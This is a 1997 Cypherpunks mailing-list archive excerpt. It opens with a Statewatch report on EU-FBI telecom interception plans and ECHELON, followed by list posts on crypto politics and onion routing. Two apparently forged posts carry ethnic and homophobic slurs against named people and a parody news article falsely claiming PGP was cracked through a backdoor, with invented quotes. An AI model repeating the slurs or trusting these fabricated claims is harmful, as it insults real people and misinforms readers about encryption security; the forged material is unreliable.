          Source: "Interception of communications", report to COREPER,
          ENFOPOL 40, 10090/93, Confidential, Brussels, 16.11.93.

          Main Resolution on the "lawful interception of
          communications"

          The draft Resolution on the "lawful interception of
          communications", an initiative by the Netherlands (which set
          out the "Requirements", see below) was discussed in the K4
          Committee in March, April, November and December 1994.

          The JHA Council discussed the draft Resolution in March 1994
          but it was only formally adopted by "written procedure" (by
          telexes to Member States dated 21.12.94, 9.1.95, and 18.1.95:
          source Council of the European Union; the last date is after
          the Resolution was agreed) on 17 January 1995. The decision
          was not published in any form for almost two years - on 4
          November 1996 it finally appeared in the Official Journal.
          The Resolution has three parts: First, the short Resolution
          which says:

               "the legally authorised interception of
               telecommunications is an important tool for the
               protection of national interest, in particular
               national security and the investigation of serious
               crime."

          Second, the "REQUIREMENTS" which place a whole series of
          obligations on: network providers, eg: satellite
          communications networks; and on service providers, who
          provide the equipment for national telecom centres, business,
          groups and individuals. And finally, a Glossary of
          definitions.

          The "Requirements" are based on the needs of "law enforcement
          agencies" (defined as "a service authorised by law to carry
          out telecommunications interceptions") who "require access to
          the entire telecommunications transmitted.. by the
          interception subject" (defined as: "Person or persons
          identified in the lawful authorisation and whose incoming and
          outgoing communications are to be intercepted") who is the
          subject of an "interception order" defined as: "An order
          placed on a network operator/service provider for assisting a
          law enforcement agency with a lawfully authorised
          telecommunications interception."

          The "law enforcement agencies" are required to be provided
          with access not just to the content of a communication, in
          whatever, form, but also "associated data", "post-connection"
          signals (eg: conference calling or call transfer), all
          numbers called, all numbers called by - in both cases even if
          a connection is not made - plus "realtime, fulltime
          monitoring capability", the location of mobile subscribers,
          simultaneous and multiple interceptions "by more than one law
          enforcement agency", and "roaming" by mobile phone users
          "outside their designated home serving area".

          The network operators and service providers are expected to
          provide "one or several" permanent "interfaces from which the
          intercepted communications can be transmitted to the law
          enforcement monitoring facility." And, if they provide
          "encoding, compression or encryption" to the customer they
          must provide it en clair (decrypted) to the law enforcement
          agencies.

          Finally, they are obliged to ensure that:

               "neither the interception target nor any other
               authorised person is aware of any changes made to
               fulfil the interception order... [and] to protect
               information on which and how many interceptions are
               being or have been performed, and not to disclose
               information on how interceptions are carried out."

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95; this report contains the
          "Memorandum" with the Resolution adopted on 17 January 1965
          attached. The Resolution was published in the Official
          Journal on 4.11.96, ref: C 329 pages 1-6.

          Memorandum of Understanding on the Legal Interception of
          Telecommunications

          The "Memorandum of understanding with third countries" (later
          described as the "Memorandum of Understanding on the Legal
          Interception of Telecommunications") was discussed at the K4
          Committee in November 1994.

          The significance of the "Memorandum" is that it extends the
          agreement on the surveillance of telecommunications to non-EU
          countries who are being invited to adopt it - and with it the
          "Requirements".

          The Memorandum of Understanding was signed by the 15 EU
          Member States on 23 November 1995 at the meeting of the
          Council of Justice and Home Affairs Ministers.

          The contact addresses for signatory countries and for further
          information, which confirms the EU-USA link, should be sent
          to:

            a. Director Federal Bureau of Investigation, Attention:
               Information Resource Division, 10 Pennsylvania Avenue,
               N.W., Washington D.C. 20535

            b. General Secretary of the Council of the European Union,
               FAO The President, Rue de la Loi 175, B-1048 Brussels,
               Belgium."

          The number of signatories to the "Memorandum" is open-ended,
          any country can join providing the existing member states
          agree.

          It invites "participants" because "the possibilities for
          intercepting telecommunications are becoming increasingly
          threatened" and there is a need to introduce "international
          interception standards" and "norms for the telecommunications
          industry for carrying out interception orders" in order to
          "fight.. organised crime and for the protection of national
          security."

          The strategy appears to be to first get the "Western world"
          (EU, US plus allies) to agree "norms" and "procedures" and
          then to sell these products to Third World countries - who
          even if they do not agree to "interception orders" will find
          their telecommunications monitored by ECHELON (see below) the
          minute it hit the airwaves.

          Source: "Memorandum of Understanding concerning the lawful
          interception of telecommunications", ENFOPOL 112, 10037/95,
          Limite, Brussels, 25.11.95.

          "not a significant document" - the Home Secretary

          The Chair of the Select Committee on the European Communities
          in the House of Lords, Lord Tordoff, took up the "Memorandum"
          with the Home Secretary, Michael Howard, in an exchange of
          letters on the Committee~s access to documents for scrutiny.

          On the subject of the "Memorandum of Understanding on the
          Legal Interception of Telecommunications" Mr Howard told Lord
          Tordoff:

               "The Memorandum of Understanding is a set of
               practical guidelines to third countries on the
               lawful interception of telecommunications. It is
               NOT A SIGNIFICANT DOCUMENT and does not, therefore,
               appear to meet the criteria for Parliamentary
               scrutiny of Title VI documents." (emphasis added)

          It is quite clear from this Briefing that the "Memorandum" is
          not an insignificant document concerning as it does a EU-US
          plan for global telecommunications surveillance.

          The "Memorandum" itself is just two pages. It is the full
          text of the "Resolution" attached to it which demonstrates
          its full meaning.

          However, not only did Mr Howard not think the "Memorandum"
          was "a significant document" he also apparently believes the
          attached Resolution also insignificant as he did not submit
          it to the House of Lords Committee for scrutiny prior to its
          adoption in January 1995 or thereafter.

          Source: Correspondence with Ministers, 9th Session 1995-96,
          HL 74, pages 26-29.

          Letter to international standards bodies

          In December 1995 COREPER agreed a letter to be sent out to
          "international standardisation bodies in the field of
          telecommunications" (IEC, ISO and ITU). The letter said:

               "Modern telecommunications systems present the risk
               of not permitting the lawful interception of
               telecommunications if they have not been adapted,
               at the standardisation and design stage, to allow
               such interception."

          These bodies are "invited" to take account of the
          requirements of the Council Resolution of 17 January 1995 and
          told that Member States would be applying "these requirements
          to network operators and providers of services".

          The December 1995 letter to international standards bodies
          and the publication of the main Resolution in November 1996
          in the Official Journal announced to manufacturers of
          equipment and service providers that they will be expected to
          meet the "Requirements" allowing surveillance for any new
          contracts within the EU and via the "Memorandum" that these
          standards would also apply to any countries signing up to it
          - for example, the USA.

          Source: "Draft letter to be sent to the international
          standardisation bodies concerning the Council Resolution of
          17 January 1995 on the lawful interception of
          communications", Council General Secretariat to
          COREPER/COUNCIL, ENFOPOL 166, 12798/95, Limite, 14.12.95.

          Letter to non EU countries

          At its meeting on 28-29 November 1996 the Council of Justice
          and Home Affairs Ministers agreed a "draft letter" prepared
          by the K4 Committee to "non EU participants in the informal
          international Law Enforcement Telecommunications Seminar".

          "The letter.. informs you of the wider international support
          for the "Requirements" annexed to the Council Resolution.

          The Council considers that the lawful monitoring of
          telecommunications systems is an important tool in the
          prevention and detection of serious crimes and in
          safeguarding national security. Mindful of new technological
          developments in the field of telecommunications, the Council
          adopted the Resolution of 17 January, 1996 laying down
          technical Requirements, for the lawful interception of
          telecommunications. The Member States of the European Union
          have been called upon to apply those Requirements to
          telecommunications operators and service providers...

          The "Requirements" have been discussed by interception
          experts from EU Member States with colleagues from other
          countries which are equally concerned to ensure that adequate
          technical provision is made for legally authorized
          interception in modern telecommunications technologies.
          Arising from those discussions which have taken place during
          a seminar, the Council of the European Union has received
          expressions of support for the Requirements from Australia,
          Canada, Norway and the United States of America. In
          particular, the relevant authorities In those countries have
          undertaken to (i) have the Requirements taken into account in
          their appropriate national policies and (ii) use the
          Requirements as a basis for discussions with the
          telecommunications industry, standards bodies and
          telecommunications operators...

          You are invited to take note of this letter for the purpose
          of your further discussions with the telecommunications
          industry standards bodies and telecommunications operators.

          The President, for the Council of the European Union."

          Source: "Draft letter to non EU participants in the informal
          international Law Enforcement Telecommunications Seminar
          regarding the Council Resolution", ENFOPOL 180, 11282/96,
          Limite 6.11.96.

          Behind the scenes

          Behind the formal decisions and letters the various Working
          Parties under the K4 Committee were at work on the details.

          In January 1995 the Police Cooperation Working Group, which
          comes under the K4 Committee, considered a report by the UK
          delegation on the problems presented by the next generation
          of satellite-based telecommunications systems which should be
          able to:

               " ~"tag" each individual subscriber in view of a
               possibly necessary surveillance activity."

          The report said that the new mobile individual communications
          working through satellites were already underway and unlike
          the current earth-bound systems based on GSM-technology would
          "in many cases operate from outside the national territory".

          The rationale for the plan was that these new systems:

               "will provide unique possibilities for organised
               crime and will lead to new threats to national
               security".

          The report said all the new systems have to have the
          capability to place all individuals under surveillance - the
          product of "tagging" individual phone lines could therefore
          easily be extended to political activists, "suspected"
          illegal migrants and others.

          The fact that the new systems were being developed by large
          private international corporations, not national state-run
          systems, created "unusual problems for the legally permitted
          surveillance of telecommunications". The first problem to
          surface, according to the report, was that:

               "initial contacts with various consortia... has met
               with the most diverse reactions, ranging from great
               willingness to cooperate on the one hand, to an
               almost total refusal even to discuss the question."

          It goes on to say:

               "it is very urgent for governments and/or
               legislative institutions to make the new consortia
               aware of their duties. The government will also
               have to create new regulations for international
               cooperation so that the necessary surveillance will
               be able to operate."

          Another "problem" for surveillance under the new systems is
          that satellites will communicate with earth-bound stations
          which will function as distribution points for a number of
          adjoining countries - there will not be a distribution point
          in every country. While the existing "methods of legally
          permitted surveillance of immobile and mobile
          telecommunications have hitherto depended on national
          infrastructures" (italics added). The:

               "providers of these new systems do not come under
               the legal guidelines used hitherto for a legal
               surveillance of telecommunications."

          The report says it would be difficult to monitor the "upward
          and downward connections to the distribution point" so the
          "tag" would start the surveillance at "the first earthbound
          distribution point".

          Due to the number of different countries that might be
          involved in making a connection it has been agreed that the
          following "relevant data" should be provided: "the number of
          the subscriber calling, the number of the subscriber being
          called, the numbers of all subscribers called thereafter".
          The report uses the example of a subscriber who is a national
          of country A, with a telephone subscription in country B
          (supplying the relevant data for the "tag"), who occasionally
          uses the system in country C which uses the distribution
          point in country D (which conducts the surveillance) and who
          is in contact with a person in country E concerning a
          suspected serious crime in country F.

          The report with a series of recommendations including
          amendments to national laws to "ensure that surveillance will
          be possible within the new systems" and that "all those who
          are involved in planning the new systems" should be made
          aware of "the demands of legally permitted surveillance".

          A later report from the same Working Party, in June 1995,
          concludes:

               "These new telecommunications systems have much in
               common with existing mobile phone systems... [and]
               will very quickly develop into a global problem,
               which looks like it can only be controlled by
               global cooperation of a hitherto unknown degree."

          Sources: "Legally permitted surveillance of
          telecommunications systems provided from a point outside the
          national territory", report from the UK delegation to the
          Working Group on Police Cooperation, ENFOPOL 1, 4118/95,
          Restricted, 9.1.95; Report from the Presidency to the Working
          Group on Police Cooperation, ENFOPOL 1, 4118/2/95 REV 2,
          Limite, 2.6.95.

          Questionnaire on "national law regarding phone tapping"

          In November 1995 while the EU Ministers were signing the
          "Memorandum of Understanding" for non-EU countries a Working
          Party under the K4 Committee was considering a report from
          the Spanish delegation on national laws within the EU on
          phone tapping surveillance.

          The 1995 report opens with the cynical observation:

               "As it was foreseeable, all states which have
               answered the questionnaire guarantee the
               confidentiality of private communications either by
               their constitution or their Basic Law, or both, in
               accordance with Article 8 of the European
               Convention on Human Rights."

          However, it goes on to observe, and assume, "under certain
          conditions the interception of telecommunications" is
          allowed.

          The report says the country surveys showed - and this is of
          crucial importance regarding surveillance by ECHELON (see
          below) that:

               "At the moment there does not seem to be a legal
               problem for interception that depends on the kind
               of device used for the transmission of voice, text,
               data or images"

          This is a reference to forms of "written" communications or
          "images" sent by e-mail, fax, and telex.

          It summarises the legal positions as: the following countries
          "can simply" make changes in the penal procedure: Germany,
          Austria, Denmark, Luxembourg, Spain and Portugal, while
          Belgium, France, the UK, Ireland, Greece, Norway and Sweden
          require new legislation, with a combination of both in Italy.

          Discussions had taken place, the report says, on the "great
          advantages" the police have if: "they can keep people under
          surveillance on the grounds of suspicion of criminal
          activity". Some countries require objective evidence of an
          offence before surveillance can start but in Austria a
          request for a phone tap "leads automatically to an
          investigation being opened".

          Another problem addressed was the right of individual's to be
          informed about phone tapping (Article 6.3 in relation to
          Article 8 of the ECHR):

               "Obviously such information prejudices the result
               of the police investigation. Therefore, each
               country has to arrange for a procedure to legally
               delay notification."

          The report recommends the Danish system where a lawyer is
          appointed by the Justice Ministry who represents the
          interests of the person to be placed under surveillance at a
          private hearing but is not allowed to tell the person
          concerned.

          The survey found that the maximum duration of authorisation
          varied from 2 weeks to 4 months.

          The report concludes that phone tapping "is justified by a
          serious offence" where "a punishment of imprisonment of one
          year or more" is available to fight "organised crime". Yet
          again the justification for combating "organised crime" is so
          widely drawn - sentences of just one year or more - that the
          purpose of surveillance has to be fundamentally questioned.

          Source: "Report on the national laws regarding the
          questionnaires on phone tapping", Report from the Spanish
          Presidency to the Working Group on Police Cooperation,
          ENFOPOL 15, 4354/2/95 REV 2, Restricted, 13.11.95.

          Who is going to pay for it?

          One issue on which the reports from the K4 Committee are
          silent is who is to pay the costs for the special facilities
          needed under the "Requirements" of law enforcement agencies -
          network and service providers or the governments?

          However, a report produced by the German government, says
          that the costs are going to be astronomical. It estimates
          that to set up surveillance of mobile phones alone will cost
          4 billion D-Marks.

          Source: draft report, dated 5 May 1995, from the German
          government on the "problems and solutions regarding the
          surveillance of telecommunications".

          The "ECHELON" connection

          "ECHELON" is a world-wide surveillance system designed and
          coordinated by the US NSA (National Security Agency) that
          intercepts e-mail, fax, telex and international telephone
          communications carried via satellites and has been operating
          since the early 1980s - it is part of the post Cold War
          developments based on the UKUSA agreement signed between the
          UK, USA, Canada, Australia and New Zealand in 1948.

          The five agencies involved are: the US National Security
          Agency (NSA), the Government Communications Security Bureau
          (GCSB) in New Zealand, Government Communications Headquarters
          (GCHQ) in the UK, the Communications Security Establishment
          (CSE) in Canada and the Defence Signals Directorate (DSD) in
          Australia.

          The system has been exposed by Nicky Hager in his 1996 book,
          Secret Power: New Zealand's role in the International Spy
          Network. He interviewed more than 50 people who work or have
          worked in intelligence who are concerned at the uses of
          ECHELON.

               "The ECHELON system is not designed to eavesdrop on
               a particular individual's e-mail or fax link.
               Rather, the system works by indiscriminately
               intercepting very large quantities of
               communications and using computers to identify and
               extract messages from the mass of unwanted ones."

          There are three components to ECHELON:
            1. The monitoring of Intelsats, international
               telecommunications satellites used by phone companies in
               most countries. A key ECHELON station is at Morwenstow
               in Cornwall monitoring Europe, the Atlantic and the
               Indian Ocean.

            2. ECHELON interception of non-Intelsat regional
               communication satellites. Key monitoring stations are
               Menwith Hill in Yorkshire and Bad Aibling in Germany.

            3. The final element of the ECHELON system is the
               surveillance of land-based or under-sea systems which
               use cables or microwave tower networks.

          At present it is thought ECHELON's effort is primarily
          directed at the "written form" (e-mails, faxes, and telexes)
          but new satellite telephones system which take over from old
          land-based ones will be as vulnerable as the "written word".

          Each of the five centres supply "Dictionaries" to the other
          four of keywords, phrases, people and places to "tag" and the
          tagged intercept is forwarded straight to the requesting
          country.

          It is the interface of the ECHELON system and its potential
          development on phone calls combined with the standardisation
          of "tappable" telecommunications centres and equipment being
          sponsored by the EU and the USA which presents a truly global
          threat over which there are no legal or democratic controls.

          Source: "Exposing the global surveillance system", Nicky
          Hager. CovertAction Quarterly, Winter 1996-97, pages 11-17.

          CHRONOLOGY

          December 1991
          A meeting of the Trevi Ministers decide a study should be
          carried out on the new telecommunications systems and "the
          different interception possibilities".

          29-30 November 1993
          The first meeting of the new, post-Maastricht, Council of
          Justice and Home Affairs Ministers meeting in Brussels adopt
          a Resolution calling on experts to compare the needs of the
          EU "with those of the FBI".

          March, April, November and December 1994
          The K4 Committee discusses the draft Resolution on the lawful
          interception of telecommunications and the "Requirements" to
          be placed on network and service providers.

          March 1994
          The Council of Justice and Home Affairs Ministers discuss the
          draft Resolution.

          November 1994
          The K4 Committee discusses the draft "Memorandum of
          Understanding with third countries".

          9 January 1995
          The Working Group on Police Cooperation, under the K4
          Committee, considers a report on the need to "tag" all
          communications.

          17 January 1995
          The Resolution is adopted by "written procedure". It is not
          published in any form until 4 November 1996 when it appears
          in the Official Journal.

          13 November 1995
          The Working Group on Police Cooperation consider a report on
          the situation in each EU state on telephone tapping.

          23 November 1995
          The Council of Justice and Home Affairs Ministers agree the
          "Memorandum of Understanding". It is not published in any
          form.

          December 1995
          COREPER agree the text of a letter to be sent to
          international standards bodies attaching the Resolution.

          7 May 1996
          Michael Howard, the Home Secretary, tells the Chair of the
          Select Committee on the European Communities in the House of
          Lords that the "Memorandum of Understanding on the legal
          interception of communications" is "not a significant
          document".

          28 November 1996
          The Council of Justice and Home Affairs Ministers agree the
          text of a letter to be sent out to other potential
          "participants" (countries) in the "Memorandum of
          Understanding".

          Council of Justice and Home Affairs Ministers
          Set up under Title VI, Article K, of the Maastricht Treaty.
          First meet on 29 November 1993 when it took over from the
          Trevi Group and the Ad Hoc Group on Immigration.

          K4 Committee
          Also set up under the Maastricht Treaty to coordinate the
          work on the "third pillar" - policing, immigration and
          asylum, and legal cooperation. Is comprised of senior
          officials from Interior Ministries and prepares report to go
          to the Council.

          Under the K4 Committee there are three Steering Groups
          covering policing and customs, immigration and asylum, and
          legal cooperation (civil and criminal) to which a series of
          Working Groups report.

          COREPER
          The Committee of Permanent Representatives from each EU state
          based in Brussels.

     -----------------------------------------------------------------------
     Copyright: Statewatch, February 1997. Material in this report may be
     used provided the source is acknowledged.

     Statewatch, PO Box 1516, London N16 0EW
     tel: 00 44 181 802 1882
     fax: 00 44 181 880 1727
     e-mail: statewatch-off at geo2.poptel.org.uk


- --------------773C24486F5992E16EEA4806
Content-Type: text/plain; charset=us-ascii; name="sig.sav"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="sig.sav"

====================================================================

///,        ////             Mark A. Smith
\  /,      /  >.
 \  /,   _/  /.                  * * *
  \_  /_/   /.
   \__/_   <          UNITED STATES THEATRE COMMAND
   /<<< \_\_
  /,)^>>_._ \          email:  msmith01 at flash.net
  (/   \\ /\\\       http://www.flash.net/~msmith01           
       // ````      
======((`===========================================================

- --------------773C24486F5992E16EEA4806--

_______________________________________
Charles L Hamilton  (chasm at insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: chasm at insync.net (Schuetzen)


------- End of Forwarded Message






From tcmay at got.net  Fri Jun 20 22:26:50 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 13:26:50 +0800
Subject: Derisive comments
In-Reply-To: 
Message-ID: 




Take a gander at this out-of-the-blue and off-the-wall thing I just got
from Georgia's finest. Proves to me that what they say about Georgia is
right.

(I have no idea why Costner decided I should get this. Insofar as I
remember, the "ye-haww" comments came from Bill Stewart, and I took them to
mean Bill was happy at the result. The "wear masks" comment was presumably
about the anonymity issue, with a touch of McIntyre and 2600 mixed in.
Apparently this was all too subtle for Costner...probably not something
taught in the 8th grade he graduated from in Georgia.)

--Tim May, fed up with getting these bizarre rants from disgruntled and
ill-educated list members, some of whom seem to expect that I can _do_
something about the demons that torment them

Note: the following was sent directly to _me_:

>Date: Fri, 20 Jun 1997 23:36:15 -0400
>To: Tim May 
>From: "Robert A. Costner" 
>Subject: Derisive comments
>Mime-Version: 1.0
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Since I already know that you like to pick at me....
>
>
>What are  "Ye-haaw!" and "Wear masks in Underground Atlanta" supposed to mean
>when someone takes my comments elsewhere, posts them on cyberpunks and adds
>that.
>
>Is there supposed to be something wrong with winning an internet censorship
>case?    I'm beginning to see the property rights thing... Was I not supposed
>to challenge a criminal law I thought was wrong?
>
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQBVAwUBM6tMK0GpGhRXg5NZAQEXOAH/YaQPnqDfwwEqW1LdVv+/PryYE4VAPJjC
>yDerr6E+Pxl7Nw6yBfMeOmz+rFTqVawOyJii+tUUhj615mguSpcRSg==
>=7t6a
>-----END PGP SIGNATURE-----
>
>  -- Robert Costner                  Phone: (770) 512-8746
>     Electronic Frontiers Georgia    mailto:pooh at efga.org
>     http://www.efga.org/            run PGP 5.0 for my public key
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shamrock at netcom.com  Fri Jun 20 22:51:35 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 21 Jun 1997 13:51:35 +0800
Subject: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620223401.006ac490@netcom9.netcom.com>



At 01:52 PM 6/20/97 PDT, John Smith wrote:
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

See  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

The project is moving forward after some Cypherpunks instigated bug fixes.
However, it will probably be a while before the system has been ported from
Solaris/BSAFE to Linux/SSLeay.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From ph at dev.null  Fri Jun 20 23:26:20 1997
From: ph at dev.null (Pearl Harbor)
Date: Sat, 21 Jun 1997 14:26:20 +0800
Subject: PGP Crack Challenge Ciphertext
Message-ID: <199706210559.XAA18550@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----

 Below is the encrypted text of the "hidejews.asc" file which
must be decrypted in order to meet the "PGP Crack Challenge"
sponsored by Pearl Harbor Computers.
 In order to meet the terms of the contest, the winner must
post the decrypted text to the cypherpunks list, signed with
their secret key.

  Please note that in order to ensure the fairness and integrity
of the "PGP Crack Challenge" that the secret key used to encrypt
the message will be placed in escrow with a Trusted Third Party.
The person chosen for this honor is a respected member of the
cypherpunk list, Alec McCrackin.

- -----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: qoLXESdTeOgwO9d+ih1SNm28wJzD5AZ0

hQEMAzxR/vV9bQ8hAQf/TAnNvPRMxYwpv6M9H4YF2h01KMjGYx5Fn8pvHtgy1KiN
lvT0GFq7h36g2YncKjRKVkU9RwrOBaGCN9iwslLpuomMgFMBfwhHqyWCchzYUAVg
B0oHnfyKM7EIaOgPRZwhuEwmWpvMOOTqltfKKtMZ08A5swFjcHa1c5+BapoI3nah
cAXeMXYuCWwFQPDPYywpKNtHyp9D4KIjKkoWTUcC3p3u+dOyao2ZSO1CzVO+CuNf
p5SO2eDb9Jqa7/ekIMS3seaH7aYzmZ9QS51YXoLUhfAdtS9tg1Zh7t6qgWd77qgp
7qtW9x3bfhKrL+xp6OhxeI/6I6y6LP/4fsD2ZGFHQaUCov1zaoBOTgvLY0ZypQsk
ElxQFRYVId6rvLTODgi7MfkxXhl6l9hR4zkVAxx5vgjJYd2n14SW31Ex3lnqFxkR
S/IvpxfIUwtbe7wPKd0Xofymn30LDVn7ziUcSlFJQhvOiyNxBBC2irPXGH56Sjfc
vUnz3j8adPfr2Ao+NGH4ignpap2D0KhaVHc0O5Ja/QsOIiuwj1JlEjB9GT8tEiqz
f2oOiatGlEcGD9ncxoVp3L23sOEHs/0iDfTTsnVAni+BtckL9zIXbw+B/uwsthp0
sm2AHgBikLL/UtqSQbD1vtZ1KlTDf0nSl3IsmpfUw06Ve8gyzlgK31YAsjCmwtRw
vULz557cOkwcNocJxSPhskMYRcR7llkl+HT+nysKUMXhibL4FBZFjcgYvDPFbwHl
bpmnoNdcFT+8TxmrfuYYthPxys4YhjQHxjBKL2T7yaHv+IzONAD3lVtxGCptFCKp
I15FuEvPZuwpI2h37FXu2ju3QgaV+jul3MqXiz3Trgm3y6GUg5/U72dVK3ncVbbQ
7pzExgFMYNa5jG9qrlPJIlXzwOsy1bUSi8A1qUxv+R8zp8BPneL8slR64lE5WlLz
LXKPVIczjz2AcNAYAD4cRj1brG3E0a4T14Djm55UUaQLpKnZDcTj91axug7Tl8SV
Gs/bWx/CzoJcvZA+pwHrHvbOtNo2UwlMB8c5bJmKFneIze+cQuw235nR3gLhu1aW
+JzME6I5vbqXNBCsxMCK5mY+LtYscF1egmCndp1QiVDU1OadYvAWFPeuGyEUST8Z
0CeHkqgXMjpAkbVCgLDhHkWbsZYysET4Kk/K8QFaVz3xkFEiiB9pXrOgekoE7ceg
l46cemnO7Fyu1G+shn6bdVtFqkvtreqgoOeZ3DrnkE+spa6X
=WRL+
- -----END PGP MESSAGE-----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6raTjxR/vV9bQ8hAQEBVAf7BWAr9mJb4kY1iVJiGB55muBfWgSkT6cS
oGyNnpWeqIkiOqR29SZYecaz1ve9oEUMXJoP9Si1vvg0qIFS+ZZKFxRQuhk8owxU
UFmRf8gaq+ovvQdGIWgfTAFnzYfTOJSh8LpmgNoAeVL5Q5/KAmG4qqOepJyzenkF
NneOKcozz/eDWtizzur1jOLutTPTUjJX9alyOa3wzh0hahWVZySmYekqFt7H3bwa
KPdX9qj7I7Skm/nw+kKZOMjxbWtXzL5uBfDkboC2QmIZJcFy3Bwlrbn4rJfic+iw
JMy3S8hxvKuQeud+5PCFnyIzIGROaMj4cD/CgZfRDOorD8V1O5iK7g==
=2pkA
-----END PGP SIGNATURE-----






From camcc at abraxis.com  Fri Jun 20 23:43:51 1997
From: camcc at abraxis.com (AlecMcCrackin)
Date: Sat, 21 Jun 1997 14:43:51 +0800
Subject: PGP Crack Solution
Message-ID: <199706210621.AAA20473@wombat.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----

Solution to Pearl Harbor Computer's
-----------------------------------
     "PGP Crack Challenge"
     ---------------------

  "The cypherpunks aren't hiding Jews."
  "They are hiding that murdering Armenian bastard, Ray Arachelian,
and cocksucker John  Gilmore ."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps

       ~~~~~~~~~~~~       ~~~~~~~~~~~      ~~~~~~~~~~    ~~~~~~~~~

"I think we should all send Pearl Harbor Computers back 10 copies of
this"

---
Graham-John Bullers



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAgUBM6rHzSKJGkNBIH7lAQGxzgP+MQuVm9DWABUxhp0xVp+5L7qm9JlCZ/GU
e2Yktx4n8ouRfUpf5WK9uxCGnKd5S1sv38yrJy8sMbQkN1uY8nJYevmwb/6oH1+n
cbXJccanXFtAe4Qt6c6bHKJorU+cjk5K2Xl3c/w3PJBgox2r2sAhC98oGE7l4i71
uiRNsXsbbbg=
=OIRG
-----END PGP SIGNATURE-----






From declan at well.cum  Sat Jun 21 00:18:43 1997
From: declan at well.cum (DeclanMcCullagh)
Date: Sat, 21 Jun 1997 15:18:43 +0800
Subject: PGP Crack Successful !!!
Message-ID: <199706210655.AAA22599@wombat.sk.sympatico.ca>



http://pathfinder.cum/netly/forgeries/709PGPCRACK.html

The Netly News
June 22, 1997

2048-bit PGP Cracked!!!
by Declan McCullagh (declan at well.cum)

     In an astounding turn of events, only days after
the DES Challenge lay broken on the floor of crypto
opponents, the crypto community has been rocked by
the breaking of a 2048-bit PGP 5.0 cyphertext that
was posted to the Cypherpunks mailing list by Pearl
Harbor Computers in the "PGP Crack Challenge."

     Alec McCrackin, a Cypherpunk, posted the solution
to the challenge a matter of minutes after the post
containing the cyphertext arrived on the list.
     Although McCrackin was tight-lipped about the means
used to decypher the challenge data, several anonymous
Cypherpunk sources indicated that it has been known for
months that PGP encrypted files could easily be read by
using the backdoor in the Stronghold encryption software
to decipher PGP files.
     "Cypherpunks can't write code." stated a Kook of the
Month winner who prefered to remain anonymous.

     "I posted the solution to the list back in '92." stated
another anonymous Cypherpunk source. "Check the archives."
     The source went on to add that he thought it was very
suspicious that the contest was won by the person acting
as the Trusted Third Party who was holding the secret key
used to encrypt the message in escrow.
     Alec McCrackin, the Trusted Third Party and contest
winner, expressed surprise and dismay that anyone would
raise the question of abuse of authority in the matter.
     "Key escrow was needed in order to meet the legitmate
needs of contest enforcement." McCrackin said. "Without
key escrow, there would be no means to guarantee that
the contest data did not contain child pornography or
drug trafficking information."

     A company spokesman at PGP Inc. stated that the
company did not forsee any major downturn in company 
revenue, since PGP Inc. had recently acquired rights to
a leading source of SpamBot technology.
     Phil Zimmerman, who was forced out of the company
as a condition of the acquisition agreement, said of his
replacement, "Dimitri is a cocksucker."

     A reporter from Markets Magazine claims to have gotten
inside information about the PGP crack, but can't remember
what his source actually said.
     "I do remember his name, though. It was Bob Hettinga."
the reporter stated.

     When asked what import this news had for the Clinton
administration's plans for crypto export policy, a secret
Whithouse source who has had me over for dinner several times
with some of D.C.'s most prominent movers and shakers (and
who lets me drive his Mercedes every time I give him a
favorable mention in an article) said, "To tell the truth,
most of us have been encrypting details of our dirty deals
with PGP, so we may not be around long enough for our views
to matter."

-------------------------
DeclanMcCullagh
Time Ink.
The Nutly News Network
Washington Correspondent
http://netlynews.com/






From bennett_t1 at popmail.firn.edu  Sat Jun 21 01:05:10 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sat, 21 Jun 1997 16:05:10 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <33AB7EA7.12FC372E@popmail.firn.edu>



> Maybe I'm just paranoid, but doesn't this mean that it is now illegal
> to
> use anything over 56 bits in the US, and doesn't this give the US
> Government the unofficial green light to start cracking down on those
> of
> us that use encryption? All they gotta say is that they suspected that
>
> we were dealing in child pornography, based on the fact that they
> monitored encrypted messages leaving from our addresses? It's not that
>
> far of a leap in possibilities after everything else they've done.
> This
> is starting to get scary ladies and gentleman. I use 2048 bit
> encryption, does that make me a porn lover because I use that heavy of
>
> encryption,and encryption period?  I feel some very bad days coming
> down
> the pike. I just hope that we can do something to stem the tide.

I am getting sick of the crap in congress.  May's right, whenever they
want to get what they want, they just blurt out that their opposition
